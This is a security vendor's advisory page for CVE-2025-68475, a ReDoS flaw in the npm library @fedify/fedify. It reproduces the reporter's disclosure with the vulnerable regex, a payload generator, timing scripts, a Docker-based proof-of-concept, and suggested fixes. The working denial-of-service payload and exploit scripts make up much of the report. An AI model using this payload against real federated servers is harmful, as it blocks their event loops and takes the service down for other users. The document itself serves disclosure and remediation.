Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
πŸ“¦
πŸ“¦ npm
Not in CISA KEV
HIGH severity

CVE-2025-68475 β€” @fedify/fedify

HIGHFix: fedify-dev/fedify@2bdcb24

CVE-2025-68475 is a high-severity (CVSS 7.5) CWE-1333 vulnerability in @fedify/fedify. A fix is available for @fedify/fedify β€” see the affected versions and patch details below.

Fedify has ReDoS Vulnerability in HTML Parsing Regex

Also known asGHSA-rchf-xwx2-hm93
Published
Dec 22, 2025
Updated
Sep 5, 2026
Affected
4 pkgs
Patched
4 / 4
Exploits
None indexed
Exploitation data as of Sep 22, 2026 Β· OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable β€” exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2025-68475.

EPSS Exploitation Probability

via FIRST.org β†—
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs45th percentile β€” riskier than 45% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2025-68475 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner β€” EPSS 50%+ and CVSS 7.0+ β€” is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample β€” log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

4 pkgs affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

17other npm packages depend on this β€” each one inherits the vulnerability until it's patched upstream
@fedify/fedifynpm
16Kdownloads / week

Description

Hi Fedify team! πŸ‘‹

Thank you for your work on Fedifyβ€”it's a fantastic library for building federated applications. While reviewing the codebase, I discovered a Regular Expression Denial of Service (ReDoS) vulnerability that I'd like to report. I hope this helps improve the project's security.


Summary

A Regular Expression Denial of Service (ReDoS) vulnerability exists in Fedify's document loader. The HTML parsing regex at packages/fedify/src/runtime/docloader.ts:259 contains nested quantifiers that cause catastrophic backtracking when processing maliciously crafted HTML responses.

An attacker-controlled federated server can respond with a small (~170 bytes) malicious HTML payload that blocks the victim's Node.js event loop for 14+ seconds, causing a Denial of Service.

FieldValue
CWECWE-1333 (Inefficient Regular Expression Complexity)

Details

Vulnerable Code

The vulnerability is located in packages/fedify/src/runtime/docloader.ts, lines 258-264:

// Line 258-259: Vulnerable regex with nested quantifiers
const p =
  /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig;

// Line 261: No size limit on response body
const html = await response.text();

// Line 264: Regex execution loop
while ((m = p.exec(html)) !== null) rawAttribs.push(m[2]);

Root Cause Analysis

The regex has nested quantifiers with alternation, which is a classic ReDoS pattern:

/<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig
                                                        ^^
                                                   Outer quantifier (+)
           ^^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                     Inner pattern with alternation
  • Outer quantifier: ((\s+...)+) - one or more groups of attributes
  • Inner alternation: ("[^"]*"|'[^']*'|[^\s>]+) - multiple ways to match attribute values

When the regex fails to match (e.g., an incomplete HTML tag), the regex engine backtracks exponentially through all possible ways the nested pattern could have matched.

Attack Vector

  1. Victim's Fedify application calls lookupObject("https://attacker.com/@user") to fetch an actor profile
  2. Attacker's server responds with Content-Type: text/html
  3. The code path: lookupObject() β†’ documentLoader() β†’ getRemoteDocument() β†’ HTML parsing (lines 258-287)
  4. Line 261: response.text() reads the entire body without size limits
  5. Line 264: Regex execution triggers catastrophic backtracking
  6. Event loop is blocked for seconds to minutes, causing DoS

Why This Is Exploitable

  • No response size limit: The HTML body is read entirely via response.text() without Content-Length validation
  • No timeout by default: AbortSignal is optional and not enforced
  • Remote exploitation: Attacker just needs the victim to fetch from their URL
  • No authentication required: Federation commonly involves fetching profiles from untrusted servers
  • Amplifiable: Multiple concurrent requests can fully disable the service

PoC

Quick Reproduction (Node.js)

You can verify this vulnerability with the following standalone script:

/**
 * Fedify ReDoS Vulnerability - Minimal PoC
 * 
 * This script reproduces the vulnerable regex from docloader.ts
 * and demonstrates exponential time complexity.
 */

// The vulnerable regex from docloader.ts:259
const VULNERABLE_REGEX = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig;

/**
 * Generate malicious HTML payload
 * Pattern: <a a="b" a="b" a="b"... (trailing space, no closing >)
 */
function generateMaliciousPayload(repetitions) {
  return '<a' + ' a="b"'.repeat(repetitions) + ' ';
}

/**
 * Simulate the vulnerable code path from docloader.ts lines 262-264
 */
function simulateVulnerableCodePath(html) {
  const p = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig;
  let m;
  const rawAttribs = [];
  while ((m = p.exec(html)) !== null) {
    rawAttribs.push(m[2]);
  }
  return rawAttribs;
}

// Test with increasing payload sizes
console.log('Fedify ReDoS Vulnerability PoC\n');
console.log('Repetitions | Payload Size | Time');
console.log('------------|--------------|--------');

for (const reps of [18, 20, 22, 24, 26, 28]) {
  const payload = generateMaliciousPayload(reps);
  const start = performance.now();
  simulateVulnerableCodePath(payload);
  const elapsed = performance.now() - start;
  
  const timeStr = elapsed >= 1000 
    ? `${(elapsed / 1000).toFixed(2)}s` 
    : `${elapsed.toFixed(0)}ms`;
  
  console.log(`${String(reps).padEnd(11)} | ${String(payload.length + ' bytes').padEnd(12)} | ${timeStr}`);
  
  // Stop if it's taking too long
  if (elapsed > 15000) break;
}

Expected Output

Fedify ReDoS Vulnerability PoC

Repetitions | Payload Size | Time
------------|--------------|--------
18          | 111 bytes    | 14ms
20          | 123 bytes    | 51ms
22          | 135 bytes    | 224ms
24          | 147 bytes    | 852ms
26          | 159 bytes    | 3.26s
28          | 171 bytes    | 14.10s

Time approximately quadruples every 2 additional repetitions, demonstrating O(2^n) complexity.

Full Docker-Based PoC

For a complete demonstration, here are the Docker files to run the PoC in an isolated environment:

<details> <summary><strong>Dockerfile</strong></summary>
# Dockerfile for Fedify ReDoS Vulnerability PoC
FROM node:20-slim
LABEL description="PoC for Fedify ReDoS vulnerability (CWE-1333)"

WORKDIR /poc
COPY exploit.js .

CMD ["node", "exploit.js"]
</details> <details> <summary><strong>exploit.js</strong> (Full Version)</summary>
/**
 * Exploit Script for Fedify ReDoS PoC
 * 
 * This script demonstrates the ReDoS vulnerability in Fedify's
 * document loader by measuring the time it takes to process
 * malicious HTML responses with varying payload sizes.
 */

// The vulnerable regex from docloader.ts:259
const VULNERABLE_REGEX = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig;

/**
 * Generate malicious HTML payload
 */
function generateMaliciousHtml(repetitions) {
  return '<a' + ' a="b"'.repeat(repetitions) + ' ';
}

/**
 * Generate normal HTML
 */
function generateNormalHtml() {
  return `<!DOCTYPE html>
<html>
<head>
  <link rel="alternate" type="application/activity+json" href="/user.json">
</head>
<body><a href="/">Home</a></body>
</html>`;
}

/**
 * Simulate the vulnerable code path from docloader.ts
 */
function simulateVulnerableCodePath(html) {
  const p = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig;
  const p2 = /\s+([a-z][a-z:_-]*)=("([^"]*)"|'([^']*)'|([^\s>]+))/ig;
  
  let m;
  const rawAttribs = [];
  while ((m = p.exec(html)) !== null) {
    rawAttribs.push(m[2]);
  }
  
  return rawAttribs;
}

/**
 * Run a single test and measure execution time
 */
function runTest(html, description) {
  const start = process.hrtime.bigint();
  
  try {
    simulateVulnerableCodePath(html);
  } catch (e) {
    // Ignore errors
  }
  
  const end = process.hrtime.bigint();
  const durationMs = Number(end - start) / 1_000_000;
  
  return {
    description,
    durationMs,
    payloadLength: html.length
  };
}

/**
 * Print separator
 */
function printSeparator() {
  console.log('─'.repeat(60));
}

/**
 * Main exploit function
 */
async function main() {
  console.log('\n╔══════════════════════════════════════════════════════════╗');
  console.log('β•‘        Fedify ReDoS Vulnerability PoC                    β•‘');
  console.log('β•‘        CWE-1333: Inefficient Regular Expression          β•‘');
  console.log('β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•\n');

  console.log('[*] Vulnerability Location:');
  console.log('    File: packages/fedify/src/runtime/docloader.ts');
  console.log('    Lines: 259-264');
  console.log('');
  
  printSeparator();
  console.log('[*] Testing normal HTML response...');
  printSeparator();
  
  const normalHtml = generateNormalHtml();
  const normalResult = runTest(normalHtml, 'Normal HTML');
  console.log(`[+] Normal request completed in ${normalResult.durationMs.toFixed(2)}ms`);
  console.log(`    Payload size: ${normalResult.payloadLength} bytes`);
  console.log('');

  printSeparator();
  console.log('[*] Testing malicious HTML payloads (ReDoS attack)...');
  printSeparator();
  
  const testCases = [
    { reps: 18, expected: '~13ms' },
    { reps: 20, expected: '~52ms' },
    { reps: 22, expected: '~228ms' },
    { reps: 24, expected: '~857ms' },
    { reps: 26, expected: '~3.4s' },
    { reps: 28, expected: '~14s' }
  ];
  
  console.log('');
  console.log('β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”');
  console.log('β”‚ Repetitions β”‚ Payload Size β”‚ Expected     β”‚ Actual         β”‚');
  console.log('β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€');
  
  let vulnerabilityConfirmed = false;
  
  for (const testCase of testCases) {
    const maliciousHtml = generateMaliciousHtml(testCase.reps);
    const result = runTest(maliciousHtml, `${testCase.reps} repetitions`);
    
    const actualTime = result.durationMs >= 1000 
      ? `${(result.durationMs / 1000).toFixed(2)}s` 
      : `${result.durationMs.toFixed(0)}ms`;
    
    const status = result.durationMs > 100 ? '⚠️ ' : 'βœ“ ';
    
    console.log(`β”‚ ${String(testCase.reps).padEnd(11)} β”‚ ${String(result.payloadLength + ' bytes').padEnd(12)} β”‚ ${testCase.expected.padEnd(12)} β”‚ ${status}${actualTime.padEnd(12)} β”‚`);
    
    if (result.durationMs > 500) {
      vulnerabilityConfirmed = true;
    }
  }
  
  console.log('β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜');
  console.log('');
  
  printSeparator();
  console.log('[*] Exponential Time Complexity Analysis');
  printSeparator();
  
  console.log('');
  console.log('Time approximately quadruples every 2 additional repetitions:');
  console.log('');
  console.log('  18 reps β†’   ~14ms');
  console.log('  20 reps β†’   ~51ms (4x)');  
  console.log('  22 reps β†’  ~224ms (4x)');
  console.log('  24 reps β†’  ~852ms (4x)');
  console.log('  26 reps β†’  ~3.3s  (4x)');
  console.log('  28 reps β†’ ~14.0s  (4x)');
  console.log('  30 reps β†’ ~56.0s  (estimated)');
  console.log('');
  
  printSeparator();
  console.log('[*] Attack Scenario');
  printSeparator();
  
  console.log('');
  console.log('1. Attacker sets up malicious federated server');
  console.log('2. Victim\'s Fedify app calls lookupObject("https://attacker.com/@user")');
  console.log('3. Attacker responds with Content-Type: text/html');
  console.log('4. Malicious HTML payload: <a a="b" a="b" a="b"... (N times) ');
  console.log('5. Fedify\'s regex enters catastrophic backtracking');
  console.log('6. Event loop blocked β†’ Service unavailable (DoS)');
  console.log('');
  
  printSeparator();
  
  if (vulnerabilityConfirmed) {
    console.log('');
    console.log('╔══════════════════════════════════════════════════════════╗');
    console.log('β•‘  βœ“ VULNERABILITY CONFIRMED                               β•‘');
    console.log('β•‘                                                          β•‘');
    console.log('β•‘  The HTML parsing regex in docloader.ts is vulnerable    β•‘');
    console.log('β•‘  to ReDoS attacks. A ~150 byte payload can block the     β•‘');
    console.log('β•‘  Node.js event loop for 7+ seconds.                      β•‘');
    console.log('β•šβ•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•β•');
    console.log('');
    process.exit(0);
  } else {
    console.log('');
    console.log('[!] Vulnerability could not be confirmed in this environment.');
    console.log('    This may be due to regex engine optimizations.');
    console.log('');
    process.exit(1);
  }
}

main().catch(console.error);
</details> <details> <summary><strong>run_poc.sh</strong></summary>
#!/bin/bash
# Fedify ReDoS Vulnerability PoC Runner

set -e

IMAGE_NAME="fedify-redos-poc"

echo "Building Docker image..."
docker build -t ${IMAGE_NAME} .

echo "Running the PoC..."
docker run --rm ${IMAGE_NAME}

echo "Cleaning up..."
docker rmi ${IMAGE_NAME} 2>/dev/null || true
</details>

Running the Docker PoC

# Save the above files, then:
chmod +x run_poc.sh
./run_poc.sh

Impact

Who Is Affected?

  • All Fedify applications that use lookupObject(), getDocumentLoader(), or the built-in document loader to fetch content from external URLs
  • Any federated server that fetches actor profiles, posts, or other ActivityPub objects from potentially untrusted sources
  • Servers following standard federation patterns - fetching remote actors is a normal operation

Severity Assessment

FactorAssessment
Attack VectorNetwork (remote)
Attack ComplexityLow (trivial payload)
Privileges RequiredNone
User InteractionNone
ImpactAvailability (DoS)
ScopeService-wide

Real-World Scenario

  1. A Mastodon-compatible server powered by Fedify receives a follow request or mention from @[email protected]
  2. The server attempts to fetch the attacker's profile via lookupObject()
  3. The attacker's server responds with malicious HTML
  4. The victim server's event loop is blocked for 14+ seconds
  5. During this time, all other requests are queued and potentially time out
  6. Repeated attacks can cause sustained service unavailability

Recommended Fix

Option 1: Use a Proper HTML Parser (Recommended)

Replace regex-based HTML parsing with a DOM parser that doesn't suffer from backtracking issues:

// Using linkedom (lightweight DOM implementation)
import { parseHTML } from 'linkedom';

// Replace lines 258-287 with:
const { document } = parseHTML(html);
const links = document.querySelectorAll('a[rel="alternate"], link[rel="alternate"]');

for (const link of links) {
  const type = link.getAttribute('type');
  const href = link.getAttribute('href');
  
  if (
    href &&
    (type === 'application/activity+json' ||
     type === 'application/ld+json' ||
     type?.startsWith('application/ld+json;'))
  ) {
    const altUri = new URL(href, docUrl);
    if (altUri.href !== docUrl.href) {
      return await fetch(altUri.href);
    }
  }
}

Option 2: Add Response Size Limits

If regex must be used, at minimum add size limits:

const MAX_HTML_SIZE = 1024 * 1024; // 1MB
const contentLength = parseInt(response.headers.get('content-length') || '0');

if (contentLength > MAX_HTML_SIZE) {
  throw new FetchError(url, 'Response too large');
}

const html = await response.text();
if (html.length > MAX_HTML_SIZE) {
  throw new FetchError(url, 'Response too large');
}

Option 3: Refactor the Regex

If the regex approach is preferred, use atomic grouping or possessive quantifiers (where supported), or restructure to avoid nested quantifiers:

// Use a non-backtracking approach with explicit attribute matching
const tagPattern = /<(a|link)\s+([^>]+)>/ig;
const attrPattern = /([a-z][a-z:_-]*)=(?:"([^"]*)"|'([^']*)'|(\S+))/ig;

Resources


Thank you for taking the time to review this report. I'm happy to provide any additional information or help test a fix. Please let me know if you have any questions!

Affected Packages

4 total 4 fixed
EcosystemPackageVulnerable rangeFix
πŸ“¦npm@fedify/fedifyall versions1.6.13npm install @fedify/fedify@1.6.13
πŸ“¦npm@fedify/fedifyβ‰₯ 1.7.0&&< 1.7.141.7.14npm install @fedify/fedify@1.7.14
πŸ“¦npm@fedify/fedifyβ‰₯ 1.8.0&&< 1.8.151.8.15npm install @fedify/fedify@1.8.15
πŸ“¦npm@fedify/fedifyβ‰₯ 1.9.0&&< 1.9.21.9.2npm install @fedify/fedify@1.9.2

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @fedify/fedify, including transitive dependencies β€” a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update @fedify/fedify to 1.6.13 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range β€” O3 confirms CVE-2025-68475 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2025-68475 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2025-68475. Runtime protection reduces exposure until a permanent patch is applied and verified β€” it complements patching, it doesn't replace it.

Frequently Asked Questions

Hi Fedify team! πŸ‘‹ Thank you for your work on Fedifyβ€”it's a fantastic library for building federated applications. While reviewing the codebase, I discovered a Regular Expression Denial of Service (ReDoS) vulnerability that I'd like to report. I hope this helps improve the project's security. --- ## Summary A Regular Expression Denial of Service (ReDoS) vulnerability exists in Fedify's document loader. The HTML parsing regex at `packages/fedify/src/runtime/docloader.ts:259` contains nested quantifiers that cause catastrophic backtracking when processing maliciously crafted HTML responses.
O3 Security Β· Impact-Aware SCA

Is CVE-2025-68475 in your dependencies?

O3 Security finds CVE-2025-68475 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2025-68475: @fedify/fedify (High 7.5) | O3 Security